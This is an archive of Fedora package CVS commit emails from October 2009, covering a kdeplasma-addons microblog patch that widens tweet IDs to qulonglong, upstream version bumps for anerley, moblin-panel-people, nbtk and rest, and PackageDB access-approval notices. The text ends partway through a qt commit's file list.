Update of /cvs/pkgs/rpms/kdeplasma-addons/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14901

Modified Files:
	kdeplasma-addons.spec 
Log Message:
changelog



Index: kdeplasma-addons.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdeplasma-addons/devel/kdeplasma-addons.spec,v
retrieving revision 1.66
retrieving revision 1.67
diff -u -p -r1.66 -r1.67
--- kdeplasma-addons.spec	10 Oct 2009 20:22:06 -0000	1.66
+++ kdeplasma-addons.spec	10 Oct 2009 20:34:56 -0000	1.67
@@ -165,6 +165,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sat Oct 10 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
+- microblog/twitter fix (kde#209891)
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From rdieter at fedoraproject.org  Sat Oct 10 20:35:21 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 10 Oct 2009 20:35:21 +0000 (UTC)
Subject: rpms/kdeplasma-addons/F-10
	kdeplasma-addons-4.3.2-microblog_twitter.patch, NONE,
	1.1 kdeplasma-addons.spec, 1.24, 1.25
Message-ID: <20091010203521.DF95411C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdeplasma-addons/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14990/F-10

Modified Files:
	kdeplasma-addons.spec 
Added Files:
	kdeplasma-addons-4.3.2-microblog_twitter.patch 
Log Message:
* Sat Oct 10 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
- microblog/twitter fix (kde#209891)


kdeplasma-addons-4.3.2-microblog_twitter.patch:
 microblog.cpp |    8 ++++----
 microblog.h   |    4 ++--
 2 files changed, 6 insertions(+), 6 deletions(-)

--- NEW FILE kdeplasma-addons-4.3.2-microblog_twitter.patch ---
--- branches/KDE/4.3/kdeplasma-addons/applets/microblog/microblog.cpp	2009/09/29 17:15:46	1029410
+++ branches/KDE/4.3/kdeplasma-addons/applets/microblog/microblog.cpp	2009/10/10 18:54:46	1033679
@@ -381,9 +381,9 @@
 
         //add the newbies
         int newCount = 0;
-        ulong maxId = m_lastTweet;
+        qulonglong maxId = m_lastTweet;
         foreach (const QString &id, data.keys()) {
-            ulong i = id.toULong();
+            qulonglong i = id.toULong();
             //kDebug() << i << m_lastTweet;
             if (i > m_lastTweet) {
                 newCount++;
@@ -464,7 +464,7 @@
     // Add more tweetWidgets if there are not enough
 
     if (m_tweetMap.count() > m_historySize) {
-        QMap<ulong, Plasma::DataEngine::Data>::iterator it = m_tweetMap.begin();
+        QMap<qulonglong, Plasma::DataEngine::Data>::iterator it = m_tweetMap.begin();
         while (it != m_tweetMap.end() && m_tweetMap.count() > m_historySize) {
             it = m_tweetMap.erase(it);
         }
@@ -521,7 +521,7 @@
     }
 
     int i = 0;
-    QMap<ulong, Plasma::DataEngine::Data>::iterator it = m_tweetMap.end();
+    QMap<qulonglong, Plasma::DataEngine::Data>::iterator it = m_tweetMap.end();
     while (it != m_tweetMap.begin()) {
         Plasma::DataEngine::Data &tweetData = *(--it);
         QString user = tweetData.value("User").toString();
--- branches/KDE/4.3/kdeplasma-addons/applets/microblog/microblog.h	2009/09/29 17:15:46	1029410
+++ branches/KDE/4.3/kdeplasma-addons/applets/microblog/microblog.h	2009/10/10 18:54:46	1033679
@@ -162,10 +162,10 @@
         QString m_curTimeline;
 
         QMap<QString, QPixmap> m_pictureMap;
-        QMap<ulong, Plasma::DataEngine::Data> m_tweetMap;
+        QMap<qulonglong, Plasma::DataEngine::Data> m_tweetMap;
         QList<Tweet> m_tweetWidgets;
 
-        ulong m_lastTweet;
+        qulonglong m_lastTweet;
         KWallet::Wallet *m_wallet;
         enum WalletWait { None=0, Read, Write };
         WalletWait m_walletWait;


Index: kdeplasma-addons.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdeplasma-addons/F-10/kdeplasma-addons.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- kdeplasma-addons.spec	7 Oct 2009 12:09:07 -0000	1.24
+++ kdeplasma-addons.spec	10 Oct 2009 20:35:21 -0000	1.25
@@ -1,6 +1,6 @@
 Name:           kdeplasma-addons
 Version:        4.3.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Additional plasmoids for KDE
 
 Group:          User Interface/Desktops
@@ -15,8 +15,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 Patch51: kdeplasma-addons-4.2.2-krunner_contacts_not_enabledbydefault.patch
 
 ## upstream patches
-# https://bugzilla.redhat.com/526524
-# Backported from 4.3 branch
+Patch100: kdeplasma-addons-4.3.2-microblog_twitter.patch
 
 BuildRequires:  boost-devel
 BuildRequires:  eigen2-devel
@@ -81,6 +80,7 @@ Files for developing applications using 
 %setup -q -n kdeplasma-addons-%{version}
 
 %patch51 -p1 -b .krunner_contacts_not_enabledbydefault 
+%patch100 -p4 -b .microblog_twitter
 
 
 %build
@@ -165,6 +165,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sat Oct 10 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
+- microblog/twitter fix (kde#209891)
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From rdieter at fedoraproject.org  Sat Oct 10 20:35:22 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 10 Oct 2009 20:35:22 +0000 (UTC)
Subject: rpms/kdeplasma-addons/F-11
	kdeplasma-addons-4.3.2-microblog_twitter.patch, NONE,
	1.1 kdeplasma-addons.spec, 1.42, 1.43
Message-ID: <20091010203522.2413011C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdeplasma-addons/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14990/F-11

Modified Files:
	kdeplasma-addons.spec 
Added Files:
	kdeplasma-addons-4.3.2-microblog_twitter.patch 
Log Message:
* Sat Oct 10 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
- microblog/twitter fix (kde#209891)


kdeplasma-addons-4.3.2-microblog_twitter.patch:
 microblog.cpp |    8 ++++----
 microblog.h   |    4 ++--
 2 files changed, 6 insertions(+), 6 deletions(-)

--- NEW FILE kdeplasma-addons-4.3.2-microblog_twitter.patch ---
--- branches/KDE/4.3/kdeplasma-addons/applets/microblog/microblog.cpp	2009/09/29 17:15:46	1029410
+++ branches/KDE/4.3/kdeplasma-addons/applets/microblog/microblog.cpp	2009/10/10 18:54:46	1033679
@@ -381,9 +381,9 @@
 
         //add the newbies
         int newCount = 0;
-        ulong maxId = m_lastTweet;
+        qulonglong maxId = m_lastTweet;
         foreach (const QString &id, data.keys()) {
-            ulong i = id.toULong();
+            qulonglong i = id.toULong();
             //kDebug() << i << m_lastTweet;
             if (i > m_lastTweet) {
                 newCount++;
@@ -464,7 +464,7 @@
     // Add more tweetWidgets if there are not enough
 
     if (m_tweetMap.count() > m_historySize) {
-        QMap<ulong, Plasma::DataEngine::Data>::iterator it = m_tweetMap.begin();
+        QMap<qulonglong, Plasma::DataEngine::Data>::iterator it = m_tweetMap.begin();
         while (it != m_tweetMap.end() && m_tweetMap.count() > m_historySize) {
             it = m_tweetMap.erase(it);
         }
@@ -521,7 +521,7 @@
     }
 
     int i = 0;
-    QMap<ulong, Plasma::DataEngine::Data>::iterator it = m_tweetMap.end();
+    QMap<qulonglong, Plasma::DataEngine::Data>::iterator it = m_tweetMap.end();
     while (it != m_tweetMap.begin()) {
         Plasma::DataEngine::Data &tweetData = *(--it);
         QString user = tweetData.value("User").toString();
--- branches/KDE/4.3/kdeplasma-addons/applets/microblog/microblog.h	2009/09/29 17:15:46	1029410
+++ branches/KDE/4.3/kdeplasma-addons/applets/microblog/microblog.h	2009/10/10 18:54:46	1033679
@@ -162,10 +162,10 @@
         QString m_curTimeline;
 
         QMap<QString, QPixmap> m_pictureMap;
-        QMap<ulong, Plasma::DataEngine::Data> m_tweetMap;
+        QMap<qulonglong, Plasma::DataEngine::Data> m_tweetMap;
         QList<Tweet> m_tweetWidgets;
 
-        ulong m_lastTweet;
+        qulonglong m_lastTweet;
         KWallet::Wallet *m_wallet;
         enum WalletWait { None=0, Read, Write };
         WalletWait m_walletWait;


Index: kdeplasma-addons.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdeplasma-addons/F-11/kdeplasma-addons.spec,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- kdeplasma-addons.spec	7 Oct 2009 12:09:08 -0000	1.42
+++ kdeplasma-addons.spec	10 Oct 2009 20:35:22 -0000	1.43
@@ -1,6 +1,6 @@
 Name:           kdeplasma-addons
 Version:        4.3.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Additional plasmoids for KDE
 
 Group:          User Interface/Desktops
@@ -15,8 +15,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 Patch51: kdeplasma-addons-4.2.2-krunner_contacts_not_enabledbydefault.patch
 
 ## upstream patches
-# https://bugzilla.redhat.com/526524
-# Backported from 4.3 branch
+Patch100: kdeplasma-addons-4.3.2-microblog_twitter.patch
 
 BuildRequires:  boost-devel
 BuildRequires:  eigen2-devel
@@ -81,6 +80,7 @@ Files for developing applications using 
 %setup -q -n kdeplasma-addons-%{version}
 
 %patch51 -p1 -b .krunner_contacts_not_enabledbydefault 
+%patch100 -p4 -b .microblog_twitter
 
 
 %build
@@ -165,6 +165,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sat Oct 10 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
+- microblog/twitter fix (kde#209891)
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From rdieter at fedoraproject.org  Sat Oct 10 20:35:22 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 10 Oct 2009 20:35:22 +0000 (UTC)
Subject: rpms/kdeplasma-addons/F-12
	kdeplasma-addons-4.3.2-microblog_twitter.patch, NONE,
	1.1 kdeplasma-addons.spec, 1.62, 1.63
Message-ID: <20091010203522.5D9AA11C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdeplasma-addons/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14990/F-12

Modified Files:
	kdeplasma-addons.spec 
Added Files:
	kdeplasma-addons-4.3.2-microblog_twitter.patch 
Log Message:
* Sat Oct 10 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
- microblog/twitter fix (kde#209891)


kdeplasma-addons-4.3.2-microblog_twitter.patch:
 microblog.cpp |    8 ++++----
 microblog.h   |    4 ++--
 2 files changed, 6 insertions(+), 6 deletions(-)

--- NEW FILE kdeplasma-addons-4.3.2-microblog_twitter.patch ---
--- branches/KDE/4.3/kdeplasma-addons/applets/microblog/microblog.cpp	2009/09/29 17:15:46	1029410
+++ branches/KDE/4.3/kdeplasma-addons/applets/microblog/microblog.cpp	2009/10/10 18:54:46	1033679
@@ -381,9 +381,9 @@
 
         //add the newbies
         int newCount = 0;
-        ulong maxId = m_lastTweet;
+        qulonglong maxId = m_lastTweet;
         foreach (const QString &id, data.keys()) {
-            ulong i = id.toULong();
+            qulonglong i = id.toULong();
             //kDebug() << i << m_lastTweet;
             if (i > m_lastTweet) {
                 newCount++;
@@ -464,7 +464,7 @@
     // Add more tweetWidgets if there are not enough
 
     if (m_tweetMap.count() > m_historySize) {
-        QMap<ulong, Plasma::DataEngine::Data>::iterator it = m_tweetMap.begin();
+        QMap<qulonglong, Plasma::DataEngine::Data>::iterator it = m_tweetMap.begin();
         while (it != m_tweetMap.end() && m_tweetMap.count() > m_historySize) {
             it = m_tweetMap.erase(it);
         }
@@ -521,7 +521,7 @@
     }
 
     int i = 0;
-    QMap<ulong, Plasma::DataEngine::Data>::iterator it = m_tweetMap.end();
+    QMap<qulonglong, Plasma::DataEngine::Data>::iterator it = m_tweetMap.end();
     while (it != m_tweetMap.begin()) {
         Plasma::DataEngine::Data &tweetData = *(--it);
         QString user = tweetData.value("User").toString();
--- branches/KDE/4.3/kdeplasma-addons/applets/microblog/microblog.h	2009/09/29 17:15:46	1029410
+++ branches/KDE/4.3/kdeplasma-addons/applets/microblog/microblog.h	2009/10/10 18:54:46	1033679
@@ -162,10 +162,10 @@
         QString m_curTimeline;
 
         QMap<QString, QPixmap> m_pictureMap;
-        QMap<ulong, Plasma::DataEngine::Data> m_tweetMap;
+        QMap<qulonglong, Plasma::DataEngine::Data> m_tweetMap;
         QList<Tweet> m_tweetWidgets;
 
-        ulong m_lastTweet;
+        qulonglong m_lastTweet;
         KWallet::Wallet *m_wallet;
         enum WalletWait { None=0, Read, Write };
         WalletWait m_walletWait;


Index: kdeplasma-addons.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdeplasma-addons/F-12/kdeplasma-addons.spec,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- kdeplasma-addons.spec	7 Oct 2009 12:09:08 -0000	1.62
+++ kdeplasma-addons.spec	10 Oct 2009 20:35:22 -0000	1.63
@@ -1,6 +1,6 @@
 Name:           kdeplasma-addons
 Version:        4.3.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Additional plasmoids for KDE
 
 Group:          User Interface/Desktops
@@ -15,8 +15,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 Patch51: kdeplasma-addons-4.2.2-krunner_contacts_not_enabledbydefault.patch
 
 ## upstream patches
-# https://bugzilla.redhat.com/526524
-# Backported from 4.3 branch
+Patch100: kdeplasma-addons-4.3.2-microblog_twitter.patch
 
 BuildRequires:  boost-devel
 BuildRequires:  eigen2-devel
@@ -81,6 +80,7 @@ Files for developing applications using 
 %setup -q -n kdeplasma-addons-%{version}
 
 %patch51 -p1 -b .krunner_contacts_not_enabledbydefault 
+%patch100 -p4 -b .microblog_twitter
 
 
 %build
@@ -165,6 +165,9 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Sat Oct 10 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.2-2
+- microblog/twitter fix (kde#209891)
+
 * Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From pbrobinson at fedoraproject.org  Sat Oct 10 20:43:22 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sat, 10 Oct 2009 20:43:22 +0000 (UTC)
Subject: rpms/anerley/F-12 .cvsignore, 1.5, 1.6 anerley.spec, 1.9,
	1.10 sources, 1.5, 1.6
Message-ID: <20091010204322.AD58F11C00DB@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/anerley/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18411

Modified Files:
	.cvsignore anerley.spec sources 
Log Message:
- New upstream 0.1.5 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/anerley/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	30 Sep 2009 10:25:30 -0000	1.5
+++ .cvsignore	10 Oct 2009 20:43:22 -0000	1.6
@@ -1 +1 @@
-anerley-0.1.4.tar.bz2
+anerley-0.1.5.tar.bz2


Index: anerley.spec
===================================================================
RCS file: /cvs/pkgs/rpms/anerley/F-12/anerley.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- anerley.spec	30 Sep 2009 10:25:30 -0000	1.9
+++ anerley.spec	10 Oct 2009 20:43:22 -0000	1.10
@@ -1,5 +1,5 @@
 Name:           anerley
-Version:        0.1.4
+Version:        0.1.5
 Release:        1%{?dist}
 Summary:        Moblin widgets for people information
 
@@ -72,6 +72,9 @@ rm -rf %{buildroot}
 %{_libdir}/*.so
 
 %changelog
+* Sat Oct 10 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.5-1
+- New upstream 0.1.5 release
+
 * Wed Sep 30 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.4-1
 - New upstream 0.1.4 release, drop upstreamed MC5 patches
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/anerley/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	30 Sep 2009 10:25:30 -0000	1.5
+++ sources	10 Oct 2009 20:43:22 -0000	1.6
@@ -1 +1 @@
-569a7dc19efce61f1cb703f1d94416c7  anerley-0.1.4.tar.bz2
+ee19b597fd214e4afd1614a0b00a44db  anerley-0.1.5.tar.bz2



From pbrobinson at fedoraproject.org  Sat Oct 10 20:45:14 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sat, 10 Oct 2009 20:45:14 +0000 (UTC)
Subject: rpms/moblin-panel-people/F-12 .cvsignore, 1.3,
	1.4 moblin-panel-people.spec, 1.5, 1.6 sources, 1.3, 1.4
Message-ID: <20091010204514.7FE8F11C00DB@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/moblin-panel-people/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19144

Modified Files:
	.cvsignore moblin-panel-people.spec sources 
Log Message:
- New upstream 0.0.4 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/F-12/.cvsignore,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- .cvsignore	30 Sep 2009 10:32:14 -0000	1.3
+++ .cvsignore	10 Oct 2009 20:45:13 -0000	1.4
@@ -1 +1 @@
-moblin-panel-people-0.0.3.tar.bz2
+moblin-panel-people-0.0.4.tar.bz2


Index: moblin-panel-people.spec
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/F-12/moblin-panel-people.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- moblin-panel-people.spec	30 Sep 2009 10:32:14 -0000	1.5
+++ moblin-panel-people.spec	10 Oct 2009 20:45:14 -0000	1.6
@@ -1,5 +1,5 @@
 Name:           moblin-panel-people
-Version:        0.0.3
+Version:        0.0.4
 Release:        1%{?dist}
 Summary:        Moblin Panel for People
 
@@ -54,6 +54,9 @@ rm -rf %{buildroot}
 %{_datadir}/%{name}
 
 %changelog
+* Sat Oct 10 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.4-1
+- New upstream 0.0.4 release
+
 * Wed Sep 30 2009 Peter Robinson <pbrobinson at gmail.com> 0.0.3-1
 - New upstream 0.0.3 release, drop upstreamed MC5 patches
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/moblin-panel-people/F-12/sources,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- sources	30 Sep 2009 10:32:14 -0000	1.3
+++ sources	10 Oct 2009 20:45:14 -0000	1.4
@@ -1 +1 @@
-082697fc4904a763487e0d508630d615  moblin-panel-people-0.0.3.tar.bz2
+1e09b8d77d562a110bed85e4701c608a  moblin-panel-people-0.0.4.tar.bz2



From pbrobinson at fedoraproject.org  Sat Oct 10 20:50:35 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sat, 10 Oct 2009 20:50:35 +0000 (UTC)
Subject: rpms/nbtk/F-12 .cvsignore, 1.7, 1.8 nbtk.spec, 1.29, 1.30 sources,
	1.8, 1.9
Message-ID: <20091010205035.195F511C029A@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/nbtk/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20493

Modified Files:
	.cvsignore nbtk.spec sources 
Log Message:
- New upstream 1.1.7 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/nbtk/F-12/.cvsignore,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- .cvsignore	17 Sep 2009 15:50:24 -0000	1.7
+++ .cvsignore	10 Oct 2009 20:50:33 -0000	1.8
@@ -1 +1 @@
-nbtk-1.1.4.tar.bz2
+nbtk-1.1.7.tar.bz2


Index: nbtk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/nbtk/F-12/nbtk.spec,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- nbtk.spec	17 Sep 2009 17:44:42 -0000	1.29
+++ nbtk.spec	10 Oct 2009 20:50:34 -0000	1.30
@@ -1,6 +1,6 @@
 Name:           nbtk
-Version:        1.1.4
-Release:        5%{?dist}
+Version:        1.1.7
+Release:        1%{?dist}
 Summary:        A toolkit for moblin NetBooks
 
 Group:          System Environment/Libraries
@@ -86,6 +86,9 @@ rm -rf %{buildroot}
 %doc %{_datadir}/gtk-doc/html/%{name}
 
 %changelog
+* Sat Oct 10 2009 Peter Robinson <pbrobinson at gmail.com> 1.1.7-1
+- New upstream 1.1.7 release
+
 * Thu Sep 17 2009 Peter Robinson <pbrobinson at gmail.com> 1.1.4-5
 - And once more with feeling.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/nbtk/F-12/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	17 Sep 2009 16:37:06 -0000	1.8
+++ sources	10 Oct 2009 20:50:34 -0000	1.9
@@ -1 +1 @@
-09900da8376a652f9ab4039390dcb311  nbtk-1.1.4.tar.bz2
+34cff44f9258e0d9b5d846773dd8d0b2  nbtk-1.1.7.tar.bz2



From pkgdb at fedoraproject.org  Sat Oct 10 20:51:52 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 20:51:52 +0000
Subject: [pkgdb] kdelibs-experimental: mathstuf has requested watchcommits
Message-ID: <20091010205152.A6D0A10F894@bastion2.fedora.phx.redhat.com>

mathstuf has requested the watchcommits acl on kdelibs-experimental (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/kdelibs-experimental



From pkgdb at fedoraproject.org  Sat Oct 10 20:51:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 20:51:56 +0000
Subject: [pkgdb] kdelibs-experimental: mathstuf has requested watchbugzilla
Message-ID: <20091010205156.A16FA10F8A9@bastion2.fedora.phx.redhat.com>

mathstuf has requested the watchbugzilla acl on kdelibs-experimental (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/kdelibs-experimental



From pkgdb at fedoraproject.org  Sat Oct 10 20:51:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 20:51:56 +0000
Subject: [pkgdb] kdelibs-experimental: mathstuf has requested commit
Message-ID: <20091010205156.AC1E010F8AF@bastion2.fedora.phx.redhat.com>

mathstuf has requested the commit acl on kdelibs-experimental (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/kdelibs-experimental



From pkgdb at fedoraproject.org  Sat Oct 10 20:52:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 20:52:45 +0000
Subject: [pkgdb] kdelibs-experimental had acl change status
Message-ID: <20091010205245.8501510F880@bastion2.fedora.phx.redhat.com>

rdieter has set the watchbugzilla acl on kdelibs-experimental (Fedora 11) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdelibs-experimental



From pkgdb at fedoraproject.org  Sat Oct 10 20:52:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 20:52:46 +0000
Subject: [pkgdb] kdelibs-experimental had acl change status
Message-ID: <20091010205246.8C19010F8A3@bastion2.fedora.phx.redhat.com>

rdieter has set the watchcommits acl on kdelibs-experimental (Fedora 11) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdelibs-experimental



From pkgdb at fedoraproject.org  Sat Oct 10 20:52:47 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 20:52:47 +0000
Subject: [pkgdb] kdelibs-experimental had acl change status
Message-ID: <20091010205247.9156A10F8AC@bastion2.fedora.phx.redhat.com>

rdieter has set the commit acl on kdelibs-experimental (Fedora 11) to Approved for mathstuf

To make changes to this package see:
  /pkgdb/packages/name/kdelibs-experimental



From pbrobinson at fedoraproject.org  Sat Oct 10 21:09:45 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Sat, 10 Oct 2009 21:09:45 +0000 (UTC)
Subject: rpms/rest/F-12 .cvsignore, 1.5, 1.6 rest.spec, 1.6, 1.7 sources, 1.5,
	1.6
Message-ID: <20091010210945.1945911C00DB@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/rest/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24020

Modified Files:
	.cvsignore rest.spec sources 
Log Message:
- New upstream 0.6.1 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/rest/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	19 Aug 2009 13:59:57 -0000	1.5
+++ .cvsignore	10 Oct 2009 21:09:44 -0000	1.6
@@ -1 +1 @@
-librest-0.6.tar.bz2
+librest-0.6.1.tar.bz2


Index: rest.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rest/F-12/rest.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- rest.spec	19 Aug 2009 13:59:57 -0000	1.6
+++ rest.spec	10 Oct 2009 21:09:44 -0000	1.7
@@ -1,6 +1,6 @@
 Name:           rest
-Version:        0.6
-Release:        3%{?dist}
+Version:        0.6.1
+Release:        1%{?dist}
 Summary:        A library for access to RESTful web services
 
 Group:          System Environment/Libraries
@@ -44,7 +44,7 @@ sed -i 's|echo|exit 0|g' autogen.sh
 
 %build
 %configure --disable-static --enable-gtk-doc
-make %{?_smp_mflags}
+make %{?_smp_mflags} V=1
 
 %install
 rm -rf %{buildroot}
@@ -63,17 +63,23 @@ rm -rf %{buildroot}
 %files
 %defattr(-,root,root,-)
 %doc AUTHORS COPYING README
-%{_libdir}/librest.so.0
-%{_libdir}/librest.so.0.0.0
+%{_libdir}/librest-0.6.so.0
+%{_libdir}/librest-0.6.so.0.0.0
+%{_libdir}/librest-extras-0.6.so.0
+%{_libdir}/librest-extras-0.6.so.0.0.0
 
 %files devel
 %defattr(-,root,root,-)
-%{_includedir}/rest
-%{_libdir}/pkgconfig/rest.pc
-%{_libdir}/librest.so
-%{_datadir}/gtk-doc/html/%{name}
+%{_includedir}/rest-0.6
+%{_libdir}/pkgconfig/rest*
+%{_libdir}/librest-0.6.so
+%{_libdir}/librest-extras-0.6.so
+%{_datadir}/gtk-doc/html/%{name}-0.6
 
 %changelog
+* Sat Oct 10 2009 Peter Robinson <pbrobinson at gmail.com> 0.6.1-1
+- New upstream 0.6.1 release
+
 * Wed Aug 19 2009 Peter Robinson <pbrobinson at gmail.com> 0.6-1
 - New upstream 0.6 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rest/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	19 Aug 2009 13:59:57 -0000	1.5
+++ sources	10 Oct 2009 21:09:44 -0000	1.6
@@ -1 +1 @@
-47f9357835885f4cfa0087eeda31659b  librest-0.6.tar.bz2
+1b590b1209861f07b4fd6d1c5795e990  librest-0.6.1.tar.bz2



From rdieter at fedoraproject.org  Sat Oct 10 21:13:22 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 10 Oct 2009 21:13:22 +0000 (UTC)
Subject: rpms/qt/F-11
	0001-This-patch-uses-object-name-as-a-fallback-for-window.patch, NONE,
	1.1 0002-This-patch-makes-override-redirect-windows-popup-me.patch,
	NONE,
	1.1 0003-This-patch-changes-QObjectPrivateVersion-thus-preve.patch,
	NONE,
	1.1 0004-This-patch-adds-support-for-using-isystem-to-allow.patch,
	NONE, 1.1 0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch, 
	NONE,
	1.1 0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch, 
	NONE,
	1.1 0007-When-using-qmake-outside-qt-src-tree-it-sometimes-g.patch,
	NONE, 1.1 0008-In-a-treeview-with-columns-like-this.patch, NONE,
	1.1 0009-This-patch-fixes-deserialization-of-values-with-cust.patch, 
	NONE, 1.1 0010-Import-README.qt-copy-from-the-original-qt-copy.patch, 
	NONE,
	1.1 0011-Update-this-file-to-reflect-the-workflow-with-Git-a.patch,
	NONE, 1.1 0015-Make-QMenu-respect-the-minimum-width-set.patch, NONE, 
	1.1 0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch,
	NONE, 1.1 0017-Add-context-to-tr-calls-in-QShortcut.patch, NONE,
	1.1 0118-qtcopy-define.diff, NONE,
	1.1 0274-shm-native-image-fix.patch, NONE,
	1.1 0283-do-not-deduce-scrollbar-extent-twice.diff, NONE,
	1.1 0285-qgv-dontshowchildren.diff, NONE, 1.1 kde-qt-patches.sh,
	NONE, 1.1 qt-x11-opensource-src-4.5.0-qdoc3.patch, 1.2,
	1.3 qt-x11-opensource-src-4.5.1-phonon.patch, NONE,
	1.1 qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch, NONE,
	1.1 qt-x11-opensource-src-4.5.2-pulseaudio.patch, NONE,
	1.1 qt-x11-opensource-src-4.5.3-javascript-disable-jit.patch, NONE,
	1.1 qt-x11-opensource-src-4.5.3-system_ca_certificates.patch,
